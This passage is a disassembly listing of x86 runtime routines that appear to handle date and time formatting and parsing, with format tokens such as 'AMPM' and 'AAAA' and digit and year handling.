loc_40009AC8:				; CODE XREF: sub_400096A8+E1j
					; DATA XREF: sub_400096A8:off_400097C9o
		push	ebp		; jumptable 40009789 case 44
		call	sub_40009370
		pop	ecx
		push	ebp
		call	sub_400093D4
		pop	ecx
		cmp	[ebp+var_C], 2
		jle	short loc_40009AE3
		mov	[ebp+var_C], 2


loc_40009AE3:				; CODE XREF: sub_400096A8+432j
		mov	eax, [ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_18]
		mov	edx, [ebp+var_C]
		call	sub_40009324
		pop	ecx
		jmp	loc_40009DFD
; ---------------------------------------------------------------------------


loc_40009AF9:				; CODE XREF: sub_400096A8+E1j
					; DATA XREF: sub_400096A8:off_400097C9o
		push	ebp		; jumptable 40009789 case 49
		call	sub_40009370
		pop	ecx
		push	ebp
		call	sub_400093D4
		pop	ecx
		cmp	[ebp+var_C], 2
		jle	short loc_40009B14
		mov	[ebp+var_C], 2


loc_40009B14:				; CODE XREF: sub_400096A8+463j
		mov	eax, [ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_1A]
		mov	edx, [ebp+var_C]
		call	sub_40009324
		pop	ecx
		jmp	loc_40009DFD
; ---------------------------------------------------------------------------


loc_40009B2A:				; CODE XREF: sub_400096A8+E1j
					; DATA XREF: sub_400096A8:off_400097C9o
		push	ebp		; jumptable 40009789 case 50
		call	sub_40009370
		pop	ecx
		cmp	[ebp+var_C], 1
		jnz	short loc_40009B4B
		mov	eax, [ebp+arg_0]
		push	eax
		mov	eax, ds:dword_4001E828
		call	sub_400096A8
		pop	ecx
		jmp	loc_40009DFD
; ---------------------------------------------------------------------------


loc_40009B4B:				; CODE XREF: sub_400096A8+48Dj
		mov	eax, [ebp+arg_0]
		push	eax
		mov	eax, ds:dword_4001E82C
		call	sub_400096A8
		pop	ecx
		jmp	loc_40009DFD
; ---------------------------------------------------------------------------


loc_40009B5F:				; CODE XREF: sub_400096A8+E1j
					; DATA XREF: sub_400096A8:off_400097C9o
		push	ebp		; jumptable 40009789 case 56
		call	sub_40009370
		pop	ecx
		push	ebp
		call	sub_400093D4
		pop	ecx
		cmp	[ebp+var_C], 3
		jle	short loc_40009B7A
		mov	[ebp+var_C], 3


loc_40009B7A:				; CODE XREF: sub_400096A8+4C9j
		mov	eax, [ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_1C]
		mov	edx, [ebp+var_C]
		call	sub_40009324
		pop	ecx
		jmp	loc_40009DFD
; ---------------------------------------------------------------------------


loc_40009B90:				; CODE XREF: sub_400096A8+E1j
					; DATA XREF: sub_400096A8:off_400097C9o
		push	ebp		; jumptable 40009789 case 31
		call	sub_400093D4
		pop	ecx
		mov	esi, [edi]
		dec	esi
		mov	edx, offset dword_40009E3C
		mov	ecx, 5
		mov	eax, esi
		call	sub_400081E0
		test	eax, eax
		jnz	short loc_40009BD6
		cmp	[ebp+var_16], 0Ch
		jb	short loc_40009BB9
		add	esi, 3


loc_40009BB9:				; CODE XREF: sub_400096A8+50Cj
		mov	eax, [ebp+arg_0]
		push	eax
		mov	edx, 2
		mov	eax, esi
		call	sub_400092C4
		pop	ecx
		add	dword ptr [edi], 4
		mov	[ebp+var_1F], 1
		jmp	loc_40009DFD
; ---------------------------------------------------------------------------


loc_40009BD6:				; CODE XREF: sub_400096A8+505j
		mov	edx, offset dword_40009E44
		mov	ecx, 3
		mov	eax, esi
		call	sub_400081E0
		test	eax, eax
		jnz	short loc_40009C12
		cmp	[ebp+var_16], 0Ch
		jb	short loc_40009BF5
		add	esi, 2


loc_40009BF5:				; CODE XREF: sub_400096A8+548j
		mov	eax, [ebp+arg_0]
		push	eax
		mov	edx, 1
		mov	eax, esi
		call	sub_400092C4
		pop	ecx
		add	dword ptr [edi], 2
		mov	[ebp+var_1F], 1
		jmp	loc_40009DFD
; ---------------------------------------------------------------------------


loc_40009C12:				; CODE XREF: sub_400096A8+541j
		mov	edx, offset aAmpm ; "AMPM"
		mov	ecx, 4
		mov	eax, esi
		call	sub_400081E0
		test	eax, eax
		jnz	short loc_40009C5A
		cmp	[ebp+var_16], 0Ch
		jnb	short loc_40009C3F
		mov	eax, [ebp+arg_0]
		push	eax
		mov	eax, ds:dword_4001E820
		call	sub_40009308
		pop	ecx
		jmp	short loc_40009C4E
; ---------------------------------------------------------------------------


loc_40009C3F:				; CODE XREF: sub_400096A8+584j
		mov	eax, [ebp+arg_0]
		push	eax
		mov	eax, ds:dword_4001E824
		call	sub_40009308
		pop	ecx


loc_40009C4E:				; CODE XREF: sub_400096A8+595j
		add	dword ptr [edi], 3
		mov	[ebp+var_1F], 1
		jmp	loc_40009DFD
; ---------------------------------------------------------------------------


loc_40009C5A:				; CODE XREF: sub_400096A8+57Dj
		mov	edx, offset aAaaa ; "AAAA"
		mov	ecx, 4
		mov	eax, esi
		call	sub_400081E0
		test	eax, eax
		jnz	short loc_40009CA0
		push	ebp
		call	sub_4000939C
		pop	ecx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+0Ch]
		push	dword ptr [eax+8] ; double
		call	sub_40009288
		movzx	eax, ax
		mov	eax, ds:dword_4001E8A8[eax*4]
		call	sub_40009308
		pop	ecx
		add	dword ptr [edi], 3
		jmp	loc_40009DFD
; ---------------------------------------------------------------------------


loc_40009CA0:				; CODE XREF: sub_400096A8+5C5j
		mov	edx, offset aAaa ; "AAA"
		mov	ecx, 3
		mov	eax, esi
		call	sub_400081E0
		test	eax, eax
		jnz	short loc_40009CE6
		push	ebp
		call	sub_4000939C
		pop	ecx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+0Ch]
		push	dword ptr [eax+8] ; double
		call	sub_40009288
		movzx	eax, ax
		mov	eax, ds:dword_4001E88C[eax*4]
		call	sub_40009308
		pop	ecx
		add	dword ptr [edi], 2
		jmp	loc_40009DFD
; ---------------------------------------------------------------------------


loc_40009CE6:				; CODE XREF: sub_400096A8+60Bj
		mov	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_5]
		mov	edx, 1
		call	sub_400092C4
		pop	ecx
		jmp	loc_40009DFD
; ---------------------------------------------------------------------------


loc_40009CFD:				; CODE XREF: sub_400096A8+E1j
					; DATA XREF: sub_400096A8:off_400097C9o
		push	ebp		; jumptable 40009789 case 33
		call	sub_40009370
		pop	ecx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	eax, ds:dword_4001E814
		call	sub_400096A8
		pop	ecx
		push	ebp
		call	sub_400093D4
		pop	ecx
		cmp	[ebp+var_16], 0
		jnz	short loc_40009D33
		cmp	[ebp+var_18], 0
		jnz	short loc_40009D33
		cmp	[ebp+var_1A], 0
		jz	loc_40009DFD


loc_40009D33:				; CODE XREF: sub_400096A8+677j
					; sub_400096A8+67Ej
		mov	eax, [ebp+arg_0]
		push	eax
		mov	eax, offset asc_40009E5C ; " "
		mov	edx, 1
		call	sub_400092C4
		pop	ecx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	eax, ds:dword_4001E82C
		call	sub_400096A8
		pop	ecx
		jmp	loc_40009DFD
; ---------------------------------------------------------------------------


loc_40009D5B:				; CODE XREF: sub_400096A8+E1j
					; DATA XREF: sub_400096A8:off_400097C9o
		cmp	ds:byte_4001E811, 0 ; jumptable	40009789 case 13
		jz	loc_40009DFD
		mov	eax, [ebp+arg_0]
		push	eax
		mov	eax, offset byte_4001E811
		mov	edx, 1
		call	sub_400092C4
		pop	ecx
		jmp	short loc_40009DFD
; ---------------------------------------------------------------------------


loc_40009D7E:				; CODE XREF: sub_400096A8+E1j
					; DATA XREF: sub_400096A8:off_400097C9o
		cmp	ds:byte_4001E81C, 0 ; jumptable	40009789 case 24
		jz	short loc_40009DFD
		mov	eax, [ebp+arg_0]
		push	eax
		mov	eax, offset byte_4001E81C
		mov	edx, 1
		call	sub_400092C4
		pop	ecx
		jmp	short loc_40009DFD
; ---------------------------------------------------------------------------


loc_40009D9D:				; CODE XREF: sub_400096A8+E1j
					; DATA XREF: sub_400096A8:off_400097C9o
		mov	esi, [edi]	; jumptable 40009789 cases 0,5
		jmp	short loc_40009DBF
; ---------------------------------------------------------------------------


loc_40009DA1:				; CODE XREF: sub_400096A8+726j
		mov	eax, [edi]
		movzx	eax, byte ptr [eax]
		movzx	eax, al
		bt	dword_4001A82C,	eax
		jnb	short loc_40009DBD
		mov	eax, [edi]
		call	sub_4000BB80
		mov	[edi], eax
		jmp	short loc_40009DBF
; ---------------------------------------------------------------------------


loc_40009DBD:				; CODE XREF: sub_400096A8+708j
		inc	dword ptr [edi]


loc_40009DBF:				; CODE XREF: sub_400096A8+6F7j
					; sub_400096A8+713j
		mov	eax, [edi]
		cmp	byte ptr [eax],	0
		jz	short loc_40009DD0
		mov	eax, [edi]
		movzx	eax, byte ptr [eax]
		cmp	al, [ebp+var_5]
		jnz	short loc_40009DA1


loc_40009DD0:				; CODE XREF: sub_400096A8+71Cj
		mov	eax, [ebp+arg_0]
		push	eax
		mov	edx, [edi]
		sub	edx, esi
		mov	eax, esi
		call	sub_400092C4
		pop	ecx
		mov	eax, [edi]
		cmp	byte ptr [eax],	0
		jz	short loc_40009DFD
		inc	dword ptr [edi]
		jmp	short loc_40009DFD
; ---------------------------------------------------------------------------


loc_40009DEB:				; CODE XREF: sub_400096A8+D4j
					; sub_400096A8+E1j
					; DATA XREF: ...
		mov	eax, [ebp+arg_0] ; default
					; jumptable 40009789 cases 1-4,6-12,14-23,25-30,32,36,39-42,45-48,51-54
		push	eax
		lea	eax, [ebp+var_5]
		mov	edx, 1
		call	sub_400092C4
		pop	ecx


loc_40009DFD:				; CODE XREF: sub_400096A8+57j
					; sub_400096A8+96j ...
		mov	eax, [edi]
		cmp	byte ptr [eax],	0
		jnz	loc_40009704
		mov	eax, [ebp+arg_0]
		dec	dword ptr [eax-108h]


loc_40009E11:				; CODE XREF: sub_400096A8+28j
					; sub_400096A8+38j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40009E33


loc_40009E1E:				; CODE XREF: sub_400096A8+789j
		lea	eax, [ebp+var_2C]
		mov	edx, 2
		call	sub_400048A8
		retn
; ---------------------------------------------------------------------------


loc_40009E2C:				; DATA XREF: sub_400096A8+1Ao
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40009E1E
; ---------------------------------------------------------------------------


loc_40009E33:				; CODE XREF: sub_400096A8+783j
					; DATA XREF: sub_400096A8+771o
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_400096A8	endp

; ---------------------------------------------------------------------------
		align 4
dword_40009E3C	dd 502F4D41h, 4Dh					; sub_400096A8+4F2o
dword_40009E44	dd 502F41h						; sub_400096A8:loc_40009BD6o
aAmpm		db 'AMPM',0             ; DATA XREF: sub_400096A8+3A6o
					; sub_400096A8:loc_40009C12o
		align 10h
aAaaa		db 'AAAA',0             ; DATA XREF: sub_400096A8:loc_40009C5Ao
		align 4
aAaa		db 'AAA',0              ; DATA XREF: sub_400096A8:loc_40009CA0o
asc_40009E5C:				; DATA XREF: sub_400096A8+68Fo
		unicode	0, < >,0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40009E60	proc near		; CODE XREF: sub_4000D158+3Ap

var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= byte ptr -100h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFEF8h
		push	ebx
		push	esi
		mov	ebx, edx
		mov	esi, eax
		xor	eax, eax
		mov	[ebp+var_104], eax
		xor	eax, eax
		mov	[ebp+var_108], eax
		test	ebx, ebx
		jz	short loc_40009E8E
		push	ebp
		mov	eax, ebx
		call	sub_400096A8
		pop	ecx
		jmp	short loc_40009E9A
; ---------------------------------------------------------------------------


loc_40009E8E:				; CODE XREF: sub_40009E60+21j
		push	ebp
		mov	eax, offset dword_40009EB8
		call	sub_400096A8
		pop	ecx


loc_40009E9A:				; CODE XREF: sub_40009E60+2Cj
		lea	edx, [ebp+var_100]
		mov	eax, esi
		mov	ecx, [ebp+var_104]
		call	sub_40004974
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	8
sub_40009E60	endp

; ---------------------------------------------------------------------------
		align 4
dword_40009EB8	dd 43h		
; =============== S U B	R O U T	I N E =======================================



sub_40009EBC	proc near		; CODE XREF: sub_40009EE0+20p
					; sub_40009F74+36p ...
		push	ebx
		push	esi
		push	edi
		mov	edi, edx
		mov	esi, eax
		mov	ebx, [edi]
		jmp	short loc_40009EC8
; ---------------------------------------------------------------------------


loc_40009EC7:				; CODE XREF: sub_40009EBC+1Cj
		inc	ebx


loc_40009EC8:				; CODE XREF: sub_40009EBC+9j
		mov	eax, esi
		call	sub_40004B44
		cmp	ebx, eax
		jg	short loc_40009EDA
		cmp	byte ptr [esi+ebx-1], 20h
		jz	short loc_40009EC7


loc_40009EDA:				; CODE XREF: sub_40009EBC+15j
		mov	[edi], ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40009EBC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40009EE0	proc near		; CODE XREF: sub_4000A1CC+B9p
					; sub_4000A1CC+E9p ...

var_9		= byte ptr -9
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], edx
		mov	edi, eax
		mov	[ebp+var_9], 0
		mov	eax, [ebp+arg_0]
		mov	byte ptr [eax],	0
		mov	edx, [ebp+var_4]
		mov	eax, edi
		call	sub_40009EBC
		mov	ebx, [ebp+var_4]
		mov	ebx, [ebx]
		xor	esi, esi
		jmp	short loc_40009F24
; ---------------------------------------------------------------------------


loc_40009F0E:				; CODE XREF: sub_40009EE0+5Fj
		mov	eax, esi
		add	eax, eax
		lea	eax, [eax+eax*4]
		movzx	edx, byte ptr [edi+ebx-1]
		sub	dx, 30h
		add	ax, dx
		mov	esi, eax
		inc	ebx


loc_40009F24:				; CODE XREF: sub_40009EE0+2Cj
		mov	eax, edi
		call	sub_40004B44
		cmp	ebx, eax
		jg	short loc_40009F41
		movzx	eax, byte ptr [edi+ebx-1]
		add	al, 0D0h
		sub	al, 0Ah
		jnb	short loc_40009F41
		cmp	si, 3E8h
		jb	short loc_40009F0E


loc_40009F41:				; CODE XREF: sub_40009EE0+4Dj
					; sub_40009EE0+58j
		mov	eax, [ebp+var_4]
		cmp	ebx, [eax]
		jle	short loc_40009F65
		mov	eax, ebx
		mov	edx, [ebp+var_4]
		mov	edx, [edx]
		sub	al, dl
		mov	edx, [ebp+arg_0]
		mov	[edx], al
		mov	eax, [ebp+var_4]
		mov	[eax], ebx
		mov	eax, [ebp+var_8]
		mov	[eax], si
		mov	[ebp+var_9], 1


loc_40009F65:				; CODE XREF: sub_40009EE0+66j
		movzx	eax, [ebp+var_9]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
sub_40009EE0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40009F74	proc near		; CODE XREF: sub_4000A518+1Dp
					; sub_4000A518+2Fp ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_9		= byte ptr -9
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFECh
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		mov	[ebp+var_14], ebx
		mov	ebx, ecx
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], eax
		xor	eax, eax
		push	ebp
		push	offset loc_4000A03A
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	[ebp+var_9], 0
		test	ebx, ebx
		jz	loc_4000A024
		mov	edx, [ebp+var_8]
		mov	eax, [ebp+var_4]
		call	sub_40009EBC
		mov	esi, ebx
		test	esi, esi
		jz	short loc_40009FBA
		sub	esi, 4
		mov	esi, [esi]


loc_40009FBA:				; CODE XREF: sub_40009F74+3Fj
		lea	eax, [ebp+var_14]
		push	eax
		mov	edx, [ebp+var_8]
		mov	edx, [edx]
		mov	ecx, esi
		mov	eax, [ebp+var_4]
		call	sub_40004DA8
		mov	eax, [ebp+var_14]
		mov	[ebp+var_10], eax
		mov	esi, ebx
		test	esi, esi
		jz	short loc_40009FDE
		sub	esi, 4
		mov	esi, [esi]


loc_40009FDE:				; CODE XREF: sub_40009F74+63j
		mov	edi, [ebp+var_10]
		test	edi, edi
		jz	short loc_40009FEA
		sub	edi, 4
		mov	edi, [edi]


loc_40009FEA:				; CODE XREF: sub_40009F74+6Fj
		push	edi
		mov	eax, [ebp+var_10]
		call	sub_40004D48
		push	eax
		push	esi
		mov	eax, ebx
		call	sub_40004D48
		push	eax
		push	1
		push	400h
		call	sub_400064F8	; CompareStringA
		sub	eax, 2
		test	eax, eax
		jnz	short loc_4000A024
		mov	eax, ebx
		test	eax, eax
		jz	short loc_4000A01B
		sub	eax, 4
		mov	eax, [eax]


loc_4000A01B:				; CODE XREF: sub_40009F74+A0j
		mov	edx, [ebp+var_8]
		add	[edx], eax
		mov	[ebp+var_9], 1


loc_4000A024:				; CODE XREF: sub_40009F74+2Aj
					; sub_40009F74+9Aj
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4000A041


loc_4000A031:				; CODE XREF: sub_40009F74+CBj
		lea	eax, [ebp+var_14]
		call	sub_40004884
		retn
; ---------------------------------------------------------------------------


loc_4000A03A:				; DATA XREF: sub_40009F74+19o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_4000A031
; ---------------------------------------------------------------------------


loc_4000A041:				; CODE XREF: sub_40009F74+C5j
					; DATA XREF: sub_40009F74+B8o
		movzx	eax, [ebp+var_9]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40009F74	endp


; =============== S U B	R O U T	I N E =======================================



sub_4000A04C	proc near		; CODE XREF: sub_4000A1CC+D1p
					; sub_4000A1CC+101p ...

var_10		= byte ptr -10h

		push	ebx
		push	esi
		push	edi
		push	ecx
		mov	[esp+10h+var_10], cl
		mov	edi, edx
		mov	esi, eax
		xor	ebx, ebx
		mov	edx, edi
		mov	eax, esi
		call	sub_40009EBC
		mov	eax, esi
		test	eax, eax
		jz	short loc_4000A06D
		sub	eax, 4
		mov	eax, [eax]


loc_4000A06D:				; CODE XREF: sub_4000A04C+1Aj
		cmp	eax, [edi]
		jl	short loc_4000A081
		mov	eax, [edi]
		movzx	eax, byte ptr [esi+eax-1]
		cmp	al, [esp+10h+var_10]
		jnz	short loc_4000A081
		inc	dword ptr [edi]
		mov	bl, 1


loc_4000A081:				; CODE XREF: sub_4000A04C+23j
					; sub_4000A04C+2Fj
		mov	eax, ebx
		pop	edx
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4000A04C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4000A088	proc near		; CODE XREF: sub_4000A1CC+47p
		push	ebx
		push	esi
		push	edi
		mov	esi, eax
		xor	ebx, ebx
		mov	edi, 1
		jmp	short loc_4000A0C0
; ---------------------------------------------------------------------------


loc_4000A096:				; CODE XREF: sub_4000A088+41j
		movzx	eax, byte ptr [esi+edi-1]
		and	al, 0DFh
		sub	al, 44h
		jz	short loc_4000A0BB
		dec	al
		jz	short loc_4000A0AF
		sub	al, 8
		jz	short loc_4000A0B7
		sub	al, 0Ch
		jz	short loc_4000A0B3
		jmp	short loc_4000A0BF
; ---------------------------------------------------------------------------


loc_4000A0AF:				; CODE XREF: sub_4000A088+1Bj
		mov	bl, 2
		jmp	short loc_4000A0CD
; ---------------------------------------------------------------------------


loc_4000A0B3:				; CODE XREF: sub_4000A088+23j
		mov	bl, 2
		jmp	short loc_4000A0CD
; ---------------------------------------------------------------------------


loc_4000A0B7:				; CODE XREF: sub_4000A088+1Fj
		xor	ebx, ebx
		jmp	short loc_4000A0CD
; ---------------------------------------------------------------------------


loc_4000A0BB:				; CODE XREF: sub_4000A088+17j
		mov	bl, 1
		jmp	short loc_4000A0CD
; ---------------------------------------------------------------------------


loc_4000A0BF:				; CODE XREF: sub_4000A088+25j
		inc	edi


loc_4000A0C0:				; CODE XREF: sub_4000A088+Cj
		mov	eax, esi
		call	sub_40004B44
		cmp	edi, eax
		jle	short loc_4000A096
		xor	ebx, ebx


loc_4000A0CD:				; CODE XREF: sub_4000A088+29j
					; sub_4000A088+2Dj ...
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4000A088	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000A0D4	proc near		; CODE XREF: sub_4000A1CC+62p
					; sub_4000A1CC+25Fp
		push	ebx
		push	esi
		mov	ebx, edx
		mov	esi, eax
		jmp	short loc_4000A0FE
; ---------------------------------------------------------------------------


loc_4000A0DC:				; CODE XREF: sub_4000A0D4+40j
		mov	eax, [ebx]
		movzx	eax, byte ptr [esi+eax-1]
		movzx	eax, al
		bt	dword_4001A82C,	eax
		jnb	short loc_4000A0FC
		mov	edx, [ebx]
		mov	eax, esi
		call	sub_4000BBC0
		mov	[ebx], eax
		jmp	short loc_4000A0FE
; ---------------------------------------------------------------------------


loc_4000A0FC:				; CODE XREF: sub_4000A0D4+19j
		inc	dword ptr [ebx]


loc_4000A0FE:				; CODE XREF: sub_4000A0D4+6j
					; sub_4000A0D4+26j
		mov	eax, esi
		call	sub_40004B44
		cmp	eax, [ebx]
		jl	short loc_4000A116
		mov	eax, [ebx]
		movzx	eax, byte ptr [esi+eax-1]
		add	al, 0D0h
		sub	al, 0Ah
		jnb	short loc_4000A0DC


loc_4000A116:				; CODE XREF: sub_4000A0D4+33j
		pop	esi
		pop	ebx
		retn
sub_4000A0D4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000A11C	proc near		; CODE XREF: sub_4000A1CC+88p

var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		push	ecx
		mov	ebp, eax
		xor	eax, eax
		mov	[esp+14h+var_14], eax
		mov	edi, 7
		mov	ebx, offset dword_4001E8D8
		mov	esi, offset dword_4001E8F4


loc_4000A137:				; CODE XREF: sub_4000A11C+47j
		cmp	dword ptr [ebx], 0
		jz	short loc_4000A165
		mov	eax, ebp
		call	sub_40004D48
		push	eax
		mov	eax, [ebx]
		call	sub_40004D48
		pop	edx
		call	sub_4000BC30
		test	eax, eax
		jz	short loc_4000A15C
		mov	eax, [esi]
		mov	[esp+14h+var_14], eax
		jmp	short loc_4000A165
; ---------------------------------------------------------------------------


loc_4000A15C:				; CODE XREF: sub_4000A11C+37j
		add	esi, 4
		add	ebx, 4
		dec	edi
		jnz	short loc_4000A137


loc_4000A165:				; CODE XREF: sub_4000A11C+1Ej
					; sub_4000A11C+3Ej
		mov	eax, [esp+14h+var_14]
		pop	edx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4000A11C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000A170	proc near		; CODE XREF: sub_4000A1CC+195p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, eax
		cmp	ds:dword_4001E8CC, 12h
		jnz	short loc_4000A1B9
		cmp	ebx, 63h
		jg	short loc_4000A1A8
		call	sub_400092B0
		movzx	ecx, ax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax-4]
		cdq
		xor	eax, edx
		sub	eax, edx
		add	ecx, eax
		mov	eax, ecx
		mov	ecx, 64h
		cdq
		idiv	ecx
		imul	eax, 64h
		add	ebx, eax


loc_4000A1A8:				; CODE XREF: sub_4000A170+12j
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax-4], 0
		jle	short loc_4000A1BF
		mov	eax, [ebp+arg_0]
		neg	dword ptr [eax-4]
		jmp	short loc_4000A1BF
; ---------------------------------------------------------------------------


loc_4000A1B9:				; CODE XREF: sub_4000A170+Dj
		mov	eax, [ebp+arg_0]
		dec	dword ptr [eax-4]


loc_4000A1BF:				; CODE XREF: sub_4000A170+3Fj
					; sub_4000A170+47j
		mov	eax, [ebp+arg_0]
		mov	eax, [eax-4]
		add	eax, ebx
		pop	ebx
		pop	ebp
		retn
sub_4000A170	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000A1CC	proc near		; CODE XREF: sub_4000A710+14p
					; sub_4000A780+25p

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= byte ptr -1Ah
var_19		= byte ptr -19h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= word ptr -10h
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		mov	[ebp+var_28], ebx
		mov	[ebp+var_24], ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], ecx
		mov	ebx, edx
		mov	esi, eax
		xor	eax, eax
		push	ebp
		push	offset loc_4000A4EE
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		xor	edi, edi
		mov	[ebp+var_16], 0
		mov	[ebp+var_18], 0
		mov	[ebp+var_1C], 0
		mov	[ebp+var_D], 0
		mov	eax, ds:dword_4001E814
		call	sub_4000A088
		mov	[ebp+var_E], al
		xor	eax, eax
		mov	[ebp+var_4], eax
		mov	eax, ds:dword_4001E814
		cmp	byte ptr [eax],	67h
		jnz	short loc_4000A25E
		mov	edx, ebx
		mov	eax, esi
		call	sub_4000A0D4
		lea	eax, [ebp+var_20]
		push	eax
		mov	ecx, [ebx]
		dec	ecx
		mov	edx, 1
		mov	eax, esi
		call	sub_40004DA8
		mov	eax, [ebp+var_20]
		lea	edx, [ebp+var_8]
		call	sub_40007BF8
		mov	eax, [ebp+var_8]
		call	sub_4000A11C
		mov	[ebp+var_4], eax
		jmp	short loc_4000A27A
; ---------------------------------------------------------------------------


loc_4000A25E:				; CODE XREF: sub_4000A1CC+5Cj
		mov	edx, ds:dword_4001E814
		mov	eax, offset dword_4000A508
		call	sub_4000BBF8
		test	eax, eax
		jle	short loc_4000A27A
		mov	eax, ds:dword_4001E8F4
		mov	[ebp+var_4], eax


loc_4000A27A:				; CODE XREF: sub_4000A1CC+90j
					; sub_4000A1CC+A4j
		lea	eax, [ebp+var_19]
		push	eax
		lea	ecx, [ebp+var_10]
		mov	edx, ebx
		mov	eax, esi
		call	sub_40009EE0
		test	al, al
		jz	loc_4000A4CB
		mov	edx, ebx
		movzx	ecx, ds:byte_4001E811
		mov	eax, esi
		call	sub_4000A04C
		test	al, al
		jz	loc_4000A4CB
		lea	eax, [ebp+var_1A]
		push	eax
		lea	ecx, [ebp+var_12]
		mov	edx, ebx
		mov	eax, esi
		call	sub_40009EE0
		test	al, al
		jz	loc_4000A4CB
		mov	edx, ebx
		movzx	ecx, ds:byte_4001E811
		mov	eax, esi
		call	sub_4000A04C
		test	al, al
		jz	loc_4000A3AC
		lea	eax, [ebp+var_1B]
		push	eax
		lea	ecx, [ebp+var_14]
		mov	edx, ebx
		mov	eax, esi
		call	sub_40009EE0
		test	al, al
		jz	loc_4000A4CB
		movzx	eax, [ebp+var_E]
		sub	al, 1
		jb	short loc_4000A302
		jz	short loc_4000A31F
		dec	al
		jz	short loc_4000A33C
		jmp	short loc_4000A357
; ---------------------------------------------------------------------------


loc_4000A302:				; CODE XREF: sub_4000A1CC+12Cj
		movzx	edi, [ebp+var_14]
		movzx	eax, [ebp+var_1B]
		mov	[ebp+var_1C], al
		movzx	eax, [ebp+var_10]
		mov	[ebp+var_16], ax
		movzx	eax, [ebp+var_12]
		mov	[ebp+var_18], ax
		jmp	short loc_4000A357
; ---------------------------------------------------------------------------


loc_4000A31F:				; CODE XREF: sub_4000A1CC+12Ej
		movzx	edi, [ebp+var_14]
		movzx	eax, [ebp+var_1B]
		mov	[ebp+var_1C], al
		movzx	eax, [ebp+var_12]
		mov	[ebp+var_16], ax
		movzx	eax, [ebp+var_10]
		mov	[ebp+var_18], ax
		jmp	short loc_4000A357
; ---------------------------------------------------------------------------


loc_4000A33C:				; CODE XREF: sub_4000A1CC+132j
		movzx	edi, [ebp+var_10]
		movzx	eax, [ebp+var_19]
		mov	[ebp+var_1C], al
		movzx	eax, [ebp+var_12]
		mov	[ebp+var_16], ax
		movzx	eax, [ebp+var_14]
		mov	[ebp+var_18], ax


loc_4000A357:				; CODE XREF: sub_4000A1CC+134j
					; sub_4000A1CC+151j ...
		cmp	[ebp+var_4], 0
		jle	short loc_4000A36B
		push	ebp
		movzx	eax, di
		call	sub_4000A170
		pop	ecx
		mov	edi, eax
		jmp	short loc_4000A3DB
; ---------------------------------------------------------------------------


loc_4000A36B:				; CODE XREF: sub_4000A1CC+18Fj
		cmp	[ebp+var_1C], 2
		ja	short loc_4000A3DB
		call	sub_400092B0
		movzx	ecx, ax
		movzx	eax, word_4001A7F8
		sub	ecx, eax
		mov	eax, ecx
		push	ecx
		mov	ecx, 64h
		cdq
